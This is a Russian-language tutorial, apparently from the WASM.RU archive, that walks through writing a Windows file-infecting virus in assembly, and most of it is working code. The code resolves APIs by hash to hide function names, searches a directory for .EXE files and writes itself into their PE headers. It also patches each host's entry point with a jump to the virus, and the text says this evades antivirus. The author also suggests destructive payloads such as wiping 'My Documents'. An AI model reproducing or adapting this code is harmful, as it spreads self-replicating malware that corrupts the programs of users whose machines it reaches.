Практика. Синтез вируса. — Архив WASM.RU

Все статьи

Практика. Синтез вируса. — Архив WASM.RU

Моя статья посвящена написанию вируса. Буду писать все как новичок (ибо я им и являюсь) и для новичков.

Особые благодарности объявляю сразу:

  • [HT]sars - За статьи, за помощь, за поддержку….
  • [HT]nobodi - За хорошие подсказки и наводящие мысли…
  • IceStudent - За критику моих бредовых идей….
  • MSoft - За поддержку ….

"..Таков закон безжалостной игры:
Не люди умирают, а миры."

-Начало-

Вирус - это такая же равноправная программа, как и Microsoft Paint Brush. Вирус так же использует функции API, он тоже может создавать и записывать информацию на жесткий диск или в оперативную память.

Опишу для вас создание самого простого вируса, ничего серьезного и злобного - все в пределах нормы. Если вам в начале будет трудно понятен материал этой статьи, и вы не знаете многих терминов - не отчаивайтесь, найдите о них исчерпывающую информацию в Интернете и вам станет понятно, что эти термины - база и без них далее изучать этот материал просто бессмысленно. Но все же, я постараюсь кратко и четко дать им определения.

Уверен, что вы создавали, какие-нибудь программы под Windows, выводящие "Hello World" или что-нибудь похожее. Ваши программы имели таблицу импорта, где прописаны адреса всех используемых, вашей программой функций. Но вирус, заразив файл, теряет свой заголовок, включая таблицу импорта, поэтому он должен искать нужные ему функции сам.

Некоторые очень важные понятия, и термины.

Проецируемые файлы (file mapping) и разделяемая память (shared memory). Разделяемой называется память, видимая более чем одному процессу или присутствующая в виртуальном адресном пространстве более чем одного процесса. Например, к динамической библиотеки (файлы формата *.dll) обращаются более одного процесса - это значит, что эта библиотека находится в разделяемой памяти. Так вот для реализации разделяемой памяти используется так называемый объект "раздел", который в Windows называются объектом "проецируемый файл".

Остановлю ваше внимание на очень важном моменте: уточнении таких важных понятий, как Virtual Address (VA) и Relative Virtual Address (RVA).

VA - это адрес чего-нибудь в оперативной памяти. RVA - это смещение на что-то, относительно того места, куда проецирован файл (проще говоря - это VA + какой-то адрес). Запомните эти понятия. Они очень помогут разобраться в написании вируса.

И, конечно же, эта загадочная фраза "Дельта смещение". Что же это такое? Все очень просто. Когда вирус находится в чистом виде, т.е. не записан еще ни в какой файл (первое поколение так сказать), когда он работает, он обращается к переменных как есть относительно прописанного в его заголовке адреса, куда файл проецирован системой. Представьте, что вирус заразил программу. И там начинает работать. Но ведь теперь он работает не там, куда его загрузил загрузчик, а из того места, где находится загруженная зараженная программа. Получается, что переменные теперь указывают на абсолютно другое место. И там, где мы ждем строку "user.dll,0", будет находиться какая-нибудь чушь "№)ыяоd..". Чтобы этого избежать, ищется "дельта смещение", то есть смещение относительно НАЧАЛА ВИРУСА, а не программы в которой сидит вирус. Дельта смещение находится так:

start:  
          Call    _Delta
_Delta:
          sub dword ptr [esp], offset _Delta
          push dword ptr [esp]

Все очень просто при входе в вирус, вызывается Call и в стеке помещается адрес возврата, мы вычитаем из него адрес метки и получаем нужное нам смещение относительно начала файла. В дальнейшем, прибавляя, дельта-смещение (сохраняем его в стеке) к адресам переменных, эти переменные будут принимать корректные значения.

А теперь переходим к тому, что нас так волнует. Большинство стандартных функций находятся в динамических библиотеках. Нам достаточно одной - kernel32.dll. Есть правда тут одна незадача. Как же найти адрес, по которому эта библиотека проецирована в память. А найти его нам поможет встроенный в Win32 механизм структурной обработки исключений. О нем далее…

-SEH в массы-

В Windows существует механизм структурной обработки исключений (SEH-structured exception handling), позволяющий приложениям получать управление при возникновении исключений. При возникновении ошибки система передает управление на SEH, там цепочка обработчиков (ячейки памяти в которых содержатся адреса на процедуры обработки исключений, чем-то напоминает таблицу векторов прерываний) начинается с fs:0000 и заканчивается последним обработчиком, имеющим значение 0FFFFFFFFh.

Когда же происходит исключение? Есть много вариантов. Например, деление на ноль вызывает исключение Divide Error. При обращении к памяти по недоступному адресу вызывается исключение Illegal memory address.

Каждый элемент имеет размер в два двойных слова. SEH имеет приблизительно такой вид:

Что же нам даст эта структура. Адрес последнего обработчика (на рисунке помечен как "XXXX") есть адрес kernel32.dll в памяти. Произведем поиск по SEH, пока не встретится элемент, имеющий значение 0FFFFFFFFh.

_ReadSEH:
xor  edx, edx			
mov  eax, dword ptr fs:[edx]	;читаем элемент SEH 
dec  edx				;edx = -1
_SearchK32:
cmp  dword ptr [eax], edx	;встретили нужный ?
je _CheckK32
mov  eax, dword ptr [eax]	;получаем следующее значение 
jmp _SearchK32
        _CheckK32:
mov  eax,[eax+4]		;получаем адрес ГДЕ-ТО в kernel32.dll
xor ax,ax			;выравниваем полученный адрес

Как только встретили нужный нам элемент, берем его адрес. Чтобы получить точный адрес начала kernel32.dll, надо выровнять полученный адрес на 64 кбайта, так как библиотеки загружаются по кратному адресу равному началу страницы.

В итоге мы получили адрес где-то в kernel32.dll. Следующим шагом будет нахождение в заголовке этой библиотеки смещения таблицы экспорта, о которой мы говорили вскользь в начале. Структура РЕ файла выглядит приблизительно так:

Вначале сканируем память (с того адреса, который мы только что получили) на наличие сигнатуры MZ (4D5Ah). Если она присутствует, значит, все сделано верно. Далее по смещению 3Ch находится смещение начала PE заголовка. Сравниваем значение 2х байтов по этому смещению на сигнатуру PE (5045h) (вдруг мы попали в область оперативной памяти, где чисто случайно нам попались символы MZ). Если значение этих байт равно PE, то вы нашли kernel32.dll (в чем можно уже не сомневаться).

_SearchMZ:
cmp word ptr [eax],5A4Dh	;сверяем сигнатуру
je _CheckMZ
sub eax,10000h			;если неравно то ищем дальше 
jmp _SearchMZ

_CheckMZ:
mov edx, dword ptr [eax+3ch]	;переходим на PE заголовок
cmp word ptr [eax+edx],4550h	;сверяем сигнатуру
jne _Exit

Теперь посмотрим, как выглядит PE заголовок поподробнее (опишу только нужные нам поля):

</p>

По смещению 78h, от начала PE заголовка, находиться RVA адрес таблицы экспорта. Не забудьте, о чем я говорил про VA и RVA в начале статьи. Представьте, что RVA = 1980h. Нам нельзя читать или писать по этому адресу, так как обращение к нижним диапазонам приведет к исключению. Для этого в заголовке PE содержится информация о том, в какую область памяти проецирован файл системой. Это поле называется Image Base. Находится это поле по смещению 34h от начала PE заголовка. Предположим, что Image Base равен 400000H, прибавим значение этого поля к полученному RVA. В итоге имеем, что нам надо обратится по адресу 401980h, что будет корректно, в нашем случае.

Вот мы получили адрес таблицы экспорта в kernel32.dll. В этой таблице содержится указатель на массив адресов экспортируемых функций. Когда какой-то исполняемый модуль экспортирует функцию, чтобы та была использована другого исполняемого модуля, он может сделать это двумя путями: он может экспортировать функцию по имени или только по ординалу. Секция экспорта выглядит приблизительно так (не всегда в этом порядке):

Из этой рисунка видно, что интересующее нам поле - это указатель на таблицу адресов (RVA) экспорта (Address Table RVA). Данная структура данных содержит адреса экспортируемых функций (их точки входа) или данных в формате dword RVA (по 4 байта на элемент). Для доступа к данным используется ординал функции с коррекцией на базу ординалов (Ordinal Base).

Пример (хм… много кода, но напугайтесь, я его объясню ниже. (этот код является продолжением предыдущего, так как в регистре eax уже содержится начало проецированного файла, а в edi - начало PE заголовка):

_SearchAPI: 
mov esi, dword ptr [eax+edx+78h]	;RVA таблицы экспорта            
add esi,eax                   			;нормализуем адрес
add esi,18h		;получаем нужный указатель на число ;указателей на имена
xchg eax,ebx
lodsd                        			;получаем число указателей на имена
push eax
lodsd                        			;получаем адрес таблицы экспорта.
push eax
lodsd                          		;получаем указатель на та таблицу ;указателей на имена 
push eax 
add eax,ebx
push eax                     		 	;Index элемента таблицы имен
lodsd                          			;получим  указатель на таблицу ординалов
push eax
mov edi, dword ptr [esp+4*5]		;указываем на стек 
lea edi, dword ptr [edi+HeshTable] 	;получаем смещение таблицы HeshTable
mov ebp,esp				;настраиваем стек

Что же мы имеем.… Все очень просто (смотрим на таблички). Вначале в esi помещается RVA таблицы экспорта. Далее нормализуем его (делаем из RVA - VA) добавляя к esi значение eax. Добавляя к esi 18h, получим адрес указателя на число указателей на имена функций. Теперь сохранив этот адрес в регистре ebx, загружаем вначале само число указателей на имена (Num of Name Pointers) в стек, потом адрес (RVA) таблицы экспорта (Address Table), потом указатель на таблицу указателей на имена экспорта (Name Pointers). Последнее надо получить указатель на таблицу ординалов экспорта (Ordinal Table), но так как этот массив параллелен числу указателей на имена (Name of Name Pointers), то перед получением этого указателя надо сложить смещение eax с сохраненным в ebx имеющим значение начала указателя на число указателей на имена функций (уфф .. а вообще советую смотреть отладчик (с)). Полученный результат - это и будет Index по которому и будем адресоваться к ASCII строкам-именам функций. И, наконец, загрузив последнее слово, получим указатель на таблицу ординалов (Ordinal Table). Далее нехитрыми манипуляциями получаем относительное смещение нашей таблицы с hash-значениями функций.

Как вы уже догадались, будем искать необходимые функции по их hash-значениям так как, это уменьшит размер кода, благодаря тому, что одно hash-значение (например 0F8670021h) занимает всего 4 байта, а имя функции на порядок больше (например GetCurrentDirectoryA). За одно и при просмотре тела вируса в HEX-редакторе, не бросается в глаза имена функций содержащиеся в коде вируса, как шаблоны для поиска.

_BeginSearch:
mov ecx, dword ptr [ebp+4*4]		;число имен функций              
xor edx,edx

_SearchAPIName:          
mov esi, dword ptr [ebp+4*1]              ;Index элемента таблицы имен                                             
mov esi, dword ptr [esi]		;таблица экспорта
add esi,ebx				;адрес  ASСII имени первой API-функции      

В этом коде идет подготовка для поиска и начало поиска функций. В ecx получаем количество функций. Подготавливаем edx, который будет содержать номер найденной функции. Esi будет содержать адрес ASСII имени первой (вначале) API-функции.

_GetHash:
xor  eax,eax			 
push eax


_CalcHash:
ror  eax,7			;сдвигаем 
xor dword ptr [esp],eax		;ксорим
lodsb				;загружаем следующую букву
test al,al				;сверяем, конец ли имени ?
jnz _CalcHash
pop eax

Думаю, ничего особенного тут нет, так как просто получаем hash-значение функции в таблице экспорта. Полученное значение помещается в eax.

_OkHash:
cmp eax, dword ptr [edi]		;сверяем полученный hash с тем что в ;таблице HeshTable
je _OkAPI
add dword ptr [ebp+4*1],4    		;сдвигаемся к другому элементу таблицы ;экспорта
inc edx
loop _SearchAPIName 
jmp _Exit                            

Здесь просто сверяем полученное hash-значение функции со значением искомой функции из нашей таблицы hash-значений. Если hash-значения совпали, то переходим на вычисление ее адреса. Иначе увеличиваем Index на 4, чтобы он указывал на следующий адрес имени в таблице экспорта, и продолжаем поиск.

_OkAPI:
shl edx,1				;номер функции
mov ecx, dword ptr [ebp]               	;берем указатель на таблицу ординалов
add ecx,ebx				
add ecx,edx
mov ecx, dword ptr [ecx]
and ecx,0FFFFh
mov edx, dword ptr [ebp+4*3]             ;извлекаем Address Table RVA
add edx,ebx
shl ecx,2
add edx,ecx
mov edx, dword ptr [edx]
add edx,ebx
push edx					;сохраняем адрес найденной функции
cmp word ptr [edi+4],0FFFFh   	;последняя ?
je _Call_API
add edi,4				;следующее hash-значение функции

Этот блок кода вычисляет адрес API функции. Вначале edx содержит порядковый номер искомой функции. Адрес указателя на число указателей на имена функций содержится в регистре ebx, тем самым мы в ecx поместили вначале указатель на адрес, а потом сам адрес числа указателей. Используем ecx, как число, указывающее на нашу найденную API функцию. Далее нехитрыми действиями извлекаем из стека адрес (RVA) таблицы экспорта (Address Table RVA). И берем из нее адрес искомой функции. Сохраняем этот адрес в стеке, сравниваем является ли это функция последняя из нашей таблицы hash-значений. Если последняя (конец таблицы помечен как -1), то выходим из цикла поиска функций. Иначе устанавливаем edi на следующий hash.

_NextName:          
mov ecx, dword ptr [ebp+4*2]          ;восстанавливаем начало таблицы  экспорта  
add ecx,ebx						
mov dword ptr [ebp+4*1], ecx          ;Index  в таблице имен 
jmp short _BeginSearch      

_Call_API:

Возвращаем наш ecx (Index) в состояние, в котором он будет указывать на адрес имени первой функции в таблице экспорта. И заново производим процесс поиска.

-Все новое - хорошо забытое старое-

Теперь я буду использовать стек как место хранения значений возвращаемых API функциями.

push eax			
push eax	

Первой инструкцией заносится в стек переменная EIP, а второй переменная Find_H. При чем не смотрите на значения этих переменных, они потом изменятся. Здесь они как бы описываются, чтоб потом к ним можно было обращаться, как показано ниже.

Если посмотрите на код вируса, то увидите там такое:

….
ExitProcess    		equ [ebp-4*12]
GetProcAddress 	equ [ebp-4*13]
LoadLibrary    	equ [ebp-4*14]
SetCurrentDirectory 	equ [ebp-4*15]
EIP			equ [ebp-4*16]
Find_H		equ [ebp-4*17]
FileHandle	   	equ [ebp-4*18]
FileSize	   	equ [ebp-4*19]
….

Так вот - это и есть имена переменных, только сами переменные находятся в стеке.

Когда все готово, все функции найдены и готовы к использованию, мы начинает процесс инфицирования. Существует несколько методов заражения. Принципиально они мало чем друг от друга отличаются. В этой статье описывается метод внедрения вируса в заголовок (точнее в пустое пространство в заголовке).

В начале надо получить имя текущей директории или системной директории, в зависимости от того, с чего вы хотите начать заражение. Но, я пошел другим путем и вписал в вирус имя директории, чтобы вирус не ушел слишком далеко (второго компьютера не было - пришлось все делать на рабочем, на котором нельзя было ничего портить). А сделал я очень просто - установил с помощью функции SetCurrentDirectory() текущую директорию (ее путь прописан в коде вируса). Но вы можете использовать GetSystemDir() или GetCurrentDir(), чтобы получить имя и путь системной или текущей директории для дальнейших действий. Важно помнить, что в стек, параметры помещаются в обратном порядке! Не забываем, естественно, сохранять возвращаемые значения функций, если это требуется (возвращаемое значение находится в eax).

_SetCurrDir:

	mov eax,offset dir		;смещение переменной dir
	add eax,delta_off		;прибавляем дельту
	push eax
	call SetCurrentDirectory	

помещаем адрес переменной в eax. Добавляем дельту. Помещаем eax в стек. И вызываем API функцию.

Далее нам найти файл в этой директории. Для этого используем функцию FindFirstFileA(). Но все не так просто, Эта функция требует помимо прочих параметров указатель на WIN32_FIND_DATA структуру. А она находится в вирусе. Возникает проблема - вирус в заголовке, а в эту область памяти нельзя писать.… И все же, это можно обойти. Для этого вызываем API функцию VirtualProtect(). Она может изменять атрибуты страниц виртуальной памяти.

_FFFA:

pusha
	push esp                ;адрес переменной, в нее возвращается "старый" режим доступа
	push 40h               ;режим доступа (нам нужен 40h)
	push 2000h           ;размер области памяти в байтах
	mov eax,offset dir
	add eax,delta_off
	push eax	      ;адрес области памяти, чьи атрибуты страниц нужно изменить
	call VirtualProtect
	popa 

Перед вызовом сохраняю регистры, а потом их восстанавливаю.

Можно же избежать этого вызова, если структуру WIN32_FIND_DATA поместить в стек и потом обращаться к нему. Попробуйте сами сделать это. Я же просто показал вам, как можно изменять атрибуты виртуальной памяти.

Теперь можно подготавливать параметры для функции FindFirstFileA().

lea eax,WIN32_FIND_DATA
	add eax,delta_off	
	push eax			;указатель на структуру
	lea eax,EXE_MASK
	add eax,delta_off	
	push eax			;маска поиска
	call FindFirstFileA

функция возвращает handle поиска. Сохраним его и проверим, завершилась ли функция FindFirstFileA удачно

mov dword ptr Find_H, eax	  ;сохраняем handle поиска
	inc     eax                             
    	jnz      _OpenFile                      ;если нет ошибки ( eax <> 0 )
    	dec     eax

Следующий блок кода нужен для поиска следующего файла, если мы не сможем открыть найденный файл.

_FNFA:

	lea eax,WIN32_FIND_DATA
	add eax,delta_off		
	push eax			;указатель на структуру
	push dword ptr Find_H	;handle поиска
	call FindNextFileA
	or eax,eax
	jz _msb_

если функция возвратит ошибку, то мы можем быть уверены, что файлов в директории точно нет. В нашем случае я просто выхожу из процедуры заражения. Но разумнее открыть другой каталог и посмотреть файлы там.

Если же файл нашли, то открываем его на чтение и запись. Используем для этого функцию CreateFileA().

push 0					;хендл на файл шаблон (не нужен)
 	push 80h				;атрибут FILE_ATTRIBUTE_NORMAL
	push 3					;тип открытия OPEN_EXISTING	
	push 0					;атрибуты защиты (не нужны)
	push 1+2				;тип совместного доступа
	push 80000000h+40000000h		;способ доступа (Чтение и запись)
	mov eax, offset WFD_szFileName	
	add eax,delta_off	
	push eax				;указатель на имя файла
   call CreateFileA
inc eax
	jz _FNFA
	dec eax
	push eax   	

Если функция завершилась ошибкой, то переходим на поиск нового файла. Иначе, сохраняем полученный handle найденного файла в стек.

Далее необходимо прочитать файл, но перед этим, выполним несколько дополнительных действий.

Определяем длину файла функцией GetFileSize().

_ReadFile:

push 0	;указатель на переменную для хранения                ;верхнего слова размера файла (не нужно)
	push eax				;хендл файла
	call GetFileSize
push eax

в eax возвращается размер файла. Сохраняем его в стек.

Далее резервируем область памяти функцией GlobalAlloc() указав в параметре dwBytes длину файла в байтах, чтобы считать в заказанный буфер этот файл.

push eax				   ;размер файла
push 0                     ;атрибут для заказанной памяти (установим по           
                           ;умолчанию)
	call GlobalAlloc
	push eax

в eax возвращается адрес распределенной памяти. Сохраняем его в стек.

Далее считываем открытый файл в только что заказанную память функцией ReadFile().

push 0
	push esp                               
	push dword ptr FileSize               		- количество байт для чтения
	push eax			                	- буфер для прочитанных данных
	push dword ptr FileHandle      	         	- хендл файла
	call ReadFile
	or eax,eax
	jz _CloseFile

Проверяем, удалось ли считать из файла. Если нет, то переходим к процедуре закрытия файла.

Считав файл, мы анализируем его заголовок. Один плюс метода записи вируса в заголовок - размер файла не увеличивается, тем самым мы обеспечили небольшую скрытность своему вирусу, если юзер будет проверять длинны файлов, измененные в какой-то момент времени.

Итак, первым делом, надо получить размер свободного места в заголовке.

_GetFreeSpace:
		
	mov edi,[esp]                          		;Начало прочитанного файла
	add edi,[edi].mz_neptr                 		;Offset PE Header

cmp word ptr [edi],4550h	;Проверка , PE ли файл мы заражаем ?
	jne _Exit

А теперь необходимо проверить - заражен ли уже этот файл нашим вирусом.

	add edi,4Ch								
	cmp [edi],'Q'		;проверяем поле Reserv 
	je _CloseFile
	mov [edi],'Q'		;если нет то ставим метку о заражении
	sub edi,4Ch

Для метки заражения, используем зарезервированное поле PE заголовка находящееся по смещению 4Сh от начала заголовка.

	movzx ecx,word ptr [edi].pe_numofobjects		;в ECX кол-во элементов (счетчик)
	push ecx                               		
	movzx esi,word ptr [edi].pe_ntheadersize		;размер NT Header 
	lea eax,[edi+esi+18h]                  			;VA первого элемента Object Table	
	push eax                               		
	mov ebx,[eax].oe_phys_offs             	;наименьшее физическое  смещение секции

_SearchLowhOffset:

	mov edx,[eax].oe_phys_offs         	;физическое  смещение секции	    
	cmp ebx, edx				;сверяем с наименьшим смещением
	jb _BigOffset                          	;если больше, то смотрим следующий элемент	
	mov ebx,edx            
                			
_BigOffset:              
                
	add     eax, 28h                       	; следующий элемент	
	loop _SearchLowhOffset

В ecx помещаю количество секций. Сохраняю ecx, Далее в esi получаю размер NT заголовка. Далее в eax помещается виртуальный адрес таблицы секций (Object Table). Он состоит из начала PE заголовка + размер NT заголовка + 18h (поле magic). Сохраняем этот адрес. Далее в ebx помещаем наименьшее физическое смещение секции. Следующим шагом помещаем это физическое смещение секции в edx. Сравниваем ebx и edx . Если больше, то ищем следующий элемент, иначе текущий элемент примем за наименьший. В итоге получим, что в ebx у нас наименьшее физическое смещение первой секции.

Следующим шагом будет проверка на некоторые дополнительные элементы, которые могут присутствовать в PE заголовке. Нас волнуют Bound Imports.

_CheckBounds:

	pop eax                                			;VA первого элемента в Object Table
	pop ecx                                			;кол-во элементов
	imul ecx,ecx,28h                       		;размер Object Table
	mov edx,[edi].pe_boundimportrva  		;присутствуют Bound Imports?	
	or edx,edx
	jz _NoBounds                           		
	add ecx,[edi].pe_boundimportsize  		;добавим их размер к Object Table	
        
_NoBounds:

	add eax,ecx                            			;VA "свободного места" в файле
	push ebx
	mov dword ptr [EIP],eax			;сохраняем его			 
	pop ecx
	add ebx,[esp]                       
	sub ebx,eax                            			;размер "свободного места"

Восстанавливаем в eax VA первого элемента в Object Table (ранее сохраняли в стеке). Далее в ecx восстанавливаем количество элементов. Умножив ecx на 40 байт в ecx получим размер таблицы секций (Object Table). Проверим, присутствуют ли bound imports. Если нет, то не берем их в расчет, иначе добавим их к размеру таблицы секций. И того, добавив ecx к eax, получим VA свободного места в файле. Сохраняем ebx (не забыли, что у нас там лежало :). Сохраняем адрес свободного места в переменную в стеке. Восстанавливаем ecx, раннее помещенный в стек. Добавляем к физическому смещению первой секции (ebx) значение из стека получи конец секций, и, вычтя из него адрес начала свободного места (eax) , получим размер свободного места в файле.

_SaveInHeader:
	cmp ebx,dword ptr Virsize              		;проверим войдет ли код в заголовок	
	jb _CloseFile                          		
mov dword ptr [edi].pe_headersize,ecx  	;приравняем размер заголовков к физ. ;смещению первой секции	
	mov ecx,dword ptr Virsize           
	xchg eax,edi
	lea esi,start
	add esi,delta_off

Первоначально проверим войдет ли наш вирус в заголовок. Чтобы сразу узнать размер вируса (еще при компиляции), воспользуемся препроцессором:

Virsize equ $-start

Если вирус не входит в заголовок то лучше всего будет ничего не трогая закрыть файлы и выйти из программы. Далее необходимо приравнять полученный до этого размер заголовков к физическому смещению первой секции (в нашем случае оно в ecx). Далее подготавливаем данные для записи. В ecx помещаем размер вируса в байтах, чтобы далее использовать это как счетчик записи. В edi помещаем адрес начала свободного места в файле, а в esi - адрес начала вируса, естественно с добавленным дельта-смещением.

Далее начинается самое важное и интересное действо. Необходимо обеспечить передачу управления на вирус. Для этого будем использовать способ модифицирования кода главной программы. Способ заключается в записи в начало кода программы безусловного перехода на код вируса (jmp ). Этот метод хорош тем, что его обычные антивирусы не определяют. Антивирусы могут увидеть изменение точки входа. Но то, что мы запишем в начало файла jmp, они не увидят (а может и увидят :, мне просто так захотелось). Инструкция jmp <операнд> имеет размер 5 байт. Первый байт 0E9h это опкод самой инструкции, а четыре оставшихся - это адрес в ту область памяти, куда мы хотим передать управление. При чем этот адрес необходимо вычислить так, как это делает процессор.

Формула вычисления такова:

x=0-(y-z)
y - смещение следующей команды
z - требуемый VA для jmp
jmp x

т.е. пусть у нас есть адрес, с которого начинается выполняться программа

00400290 …….. ; код вируса
....		...
004019С0 	jmp 00400290
004019C5		...
....		...

вычисляем то, что в скобках:

004019C0h+00000005h-00400290h=00001735h

вычитаем:

00000000-00001735h=FFFFE8CBh

и записываем после опкода jmp то, что получили. Для проверки смотрим в отладчик и видим:

004019C0   E9 CBE8FFFF    JMP 00400290

что и требовалось получить.

pusha
	mov edi,eax 				;offset pe			
    mov ebx,dword ptr [edi+28h]	;стартовый код программы  (на него указывает :Entry Point) 			
	add ebx,dword ptr [edi+34h]	;нормализуем
	add ebx,000005h

сохраним все регистры, чтобы не запортить все, что мы подготовили для записи. В edi помещаем смещение PE заголовка. Далее в ebx помещаем адрес начала кода программы, т.е. RVA Entry Point + Image Base. Добавляем еще 5 байт - это столько, сколько занимает дальний джамп.

	mov eax,dword ptr [EIP]	;смещение кода виря в памяти				 
	sub eax,AllocMem	;вычитаем начало памяти и получаем смещение кода 
	                    ;вируса (реальное)

в eax помещаем сохраненное ранее смещение кода вируса в памяти. Вычитаем начало памяти, куда считали код программы. В итоге получили Реальное смещение кода вируса относительно начала программы, начиная от первого байта.

   add eax,dword ptr [edi+34h]		;+ Image Base
   sub ebx,eax
   xor eax,eax
   sub eax,ebx
   push eax				;результат формулы x=0-(y-z)
	mov ebx,AllocMem
	add ebx,dword ptr [edi+28h]		;адрес начала кода заражаемой программы

теперь получившееся смещение складываем с Image Base и получаем адрес туда - куда необходимо сделать перейти. Далее вычисляем формулу jmp x=0-(y-z). Вначале вычли из требуемого VA в ту область, куда надо перейти, смещение следующей команды. Далее из нуля вычли то что получили при вычитании. Сохранили получившееся значение. Снова в ebx помещаем адрес начала памяти. Добавляем к нему Entry Point, тем самым, вычислив адрес, где находится начало кода программы, которую заражаем.

	mov ecx,5h			;счетчик
	lea edi,save_vir_b		;адрес переменной куда сохраняем 5 байт жертвы
	add edi,delta_off		;добавляем дельту
	mov esi,ebx			;адрес откуда читать 5 байт
	rep movsb			;сохраняем

инициализируем счетчик ecx в 5, так как сохранять будем 5 байт. Вычисляем адрес переменной в edi , куда будем сохранять значение оригинальных 5 байт программы. В esi - адрес того места, откуда будем читать.

	mov edi,ebx		;адрес куда записывать							
	lea esi,j_m_p		;адрес переменной откуда брать данные для записи
	add esi,delta_off	;добавляем дельту
	movsb			;пишем jmp на код вируса

Сразу записываю адрес, где находится начало кода программы в edi. Далее в esi помещаю адрес опкода e9h и записываю его.

	pop ebx
	mov dword ptr [edi],ebx

восстанавливаю ранее вычисленное значение операнда для инструкции jmp. И сразу можем из регистра поместить его в память.

	popa
rep movsb

это самый важный шаг. Восстанавливаем все, что напортили. Записываем вирус туда, где находится считанная программа.

Далее надо записать все, что мы изменили в файл. Перед использованием функции WriteFile(), обязательно необходимо установить указатель на начало файла. Делаем это с помощью функции SetFilePointer():

_WriteFile:
xor esi,esi
	push esi
	push esi
	push esi
	push dword ptr FileHandle               	;хендл файла.
	call SetFilePointer  

Теперь можем вызывать WriteFile():

push esi				;указатель на структуру Overlapped (не нужно)
push esp                                             ;указатель на буфер с размером файла 
	push dword ptr FileSize               	;размер файла
	push dword ptr AllocMem               	;адрес начала заказанной памяти 
	push dword ptr FileHandle              	;handle файла
	call WriteFile

_CloseFile:
	push dword ptr FileHandle              	;handle файла
	call CloseHandle

push dword ptr Find_H		;handle поиска
	call CloseHandle

	push dword ptr AllocMem               	;allocation memory
	call GlobalFree

необходимо зарыть handle файла, с которым работали функцией CloseHandle() и отдать всю память, которую заказывали функцией GlobalFree

В принципе вот и все заражение. Далее можно сделать все, что вашей душе угодно, например, вызвать сообщение, что на компьютере вирус, стереть всю папку "Мои документы" или найти еще один файл и повторить заражение... Дети, помните - вирусы пишут для развлечений, поэтому деструкция не приветствуется!!!

Для наглядности вызовем пустое сообщение с заголовком по умолчанию.

_msb_:
lea eax, usd		;имя библиотеки 
add eax, delta_off	
push eax		;в стек
call LoadLibrary	
lea edi, MSB		;имя функции
add edi, delta_off
push edi		;в стек
push eax		;handle полученной библиотеки в стек
call GetProcAddress
push 0			
push 0
push 0
push 0
call eax		;вызываем функции MessageBoxA()

ничего сложного. Важно не забывать добавлять дельта-смещение к переменным и то, что параметры в стек сохраняются в обратном порядке, сами функции возвращают результат в eax.

Остался последний шаг.

_Exit:
cmp  delta_off,0		;проверяем поколение
	jz AA 
    	mov eax,offset dir
    	add eax, delta_off
	xor ax,ax

в конце концов, вирус попадет на метку _Exit. Необходимо узнать - какое это поколение вируса. Если дельта смещение равно нулю, то это первое поколение и необходимо закончить работу вируса. Иначе надо передать управление программе носителю.

         _SearchMZ_:          
	cmp word ptr [eax],5A4Dh
	je _CheckMZ_
	sub eax,10000h
	jmp _SearchMZ_

ищем начало заражаемого файла по сигнатуре на текущей странице памяти. Все аналогично поиску kernel32.dll.

         _CheckMZ_:
	mov edi,eax
	add edi,dword ptr [edi].mz_neptr
	mov eax,dword ptr [edi+28h] 
	add eax,dword ptr [edi+34h]	

сдвигаемся по заголовку - нам необходимо получить адрес начала выполнения программы.

	pusha
push esp          	;адрес переменной, в нее возвращается "старый" режим ;доступа
	push 40h          	;режим доступа (нам нужен 40h)
	push 5h         		;размер области памяти в байтах
	push eax       		;адрес области памяти, чьи атрибуты страниц нужно изменить
	call VirtualProtect
	popa

эта функция необходима для того, чтобы мы могли писать в то место, куда мы хотим восстановить пять сохраненных байт. Естественно сохраняем регистры, которые до этого так упорно подготавливали.

	mov ecx,5h		;счетчик
	lea esi,save_vir_b	;адрес сохраненных оригинальных 5 байт жертвы
	add esi,delta_off	;добавляем дельту
	mov edi,eax		;адрес начала кода жертвы в памяти
    	rep movsb		;восстанавливаем
   	jmp eax

инициализируем счетчик записи в ecx. В esi помещаем переменную, где находятся сохраненные пять байт. Нормируем по дельта-смещению. В edi помещаем адрес, куда будем записывать байты - начало кода программы. Записываем эти чертовы пять байт. И передаем управление на начало кода программы, адрес которого находится в eax.

AA:	
	push	0
	call	ExitProcess

самый сложный код. Сюда мы попадем, если в процессе заражения были какие-либо ошибки, возможно, этот файл уже был заражен или это первое поколение, т.е. если вирус запущен не из зараженной программы.

Данные (поместить после последней инструкции)

dir 		db "C:\Polygon",0
EXE_MASK 	db "*.EXE",0
MSB 		db "MessageBoxA",0
usd 		db "user32.dll",0
vir_stat 	db 0
j_m_p 		db 0E9h
save_vir_b 	db 00,00,00,00,00

WIN32_FIND_DATA      label   byte                                         
  WFD_dwFileAttributes   dd       0   
  WFD_ftCreationTime      dq       0  
  WFD_ftLastAccessTime  dq       0   
  WFD_ftLastWriteTime    dq       0   
  WFD_nFileSizeHigh        dd       0    
  WFD_nFileSizeLow         dd       0    
  WFD_dwReserved0         dd       0    
  WFD_dwReserved1         dd       0    
  WFD_szFileName            db       255 dup (0) 
  WFD_szAlternateFileName db       13 dup (0) 
                          		db       03 dup (0) 
              
delta_off 		equ [ebp+18h]
CloseHandle    	equ [ebp-4*1]
FindFirstFileA 	equ [ebp-4*2]
FindNextFileA  	equ [ebp-4*3]
CreateFileA    		equ [ebp-4*4]
ReadFile      		equ [ebp-4*5]
GlobalAlloc    	equ [ebp-4*6]
GetFileSize    		equ [ebp-4*7]
SetFilePointer		equ [ebp-4*8]
WriteFile      		equ [ebp-4*9]               
GlobalFree     		equ [ebp-4*10]
VirtualProtect 	equ [ebp-4*11]
ExitProcess    		equ [ebp-4*12]
GetProcAddress 	equ [ebp-4*13]
LoadLibrary    	equ [ebp-4*14]
SetCurrentDirectory 	equ [ebp-4*15]
EIP			equ [ebp-4*16]
Find_H		equ [ebp-4*17]
FileHandle	   	equ [ebp-4*18]
FileSize	   	equ [ebp-4*19]
AllocMem	   	equ [ebp-4*20]
base_s		   	equ [ebp-4*21]	

HeshTable:                              ;Таблица хешей
    	CloseHandle_    	dd 0F867A91Eh
    	FindFirstFileA_ 	dd 03165E506h
	FindNextFileA_  	dd 0CA920AD8h
	CreateFileA_    	dd 0860B38BCh
	ReadFile_       		dd 029C4EF46h
	GlobalAlloc_    	dd 0CC17506Ch
	GetFileSize_    	dd 0AAC2523Eh
	SetFilePointer_	dd 07F3545C6h
	WriteFile_      		dd 0F67B91BAh
	GlobalFree_     	dd 03FE8FED4h
	VirtualProtect_ 	dd 015F8EF80h
	ExitProcess_    	dd 0D66358ECh
	GetProcAddress_ 	dd 05D7574B6h	
	LoadLibraryA_	dd 071E40722h	
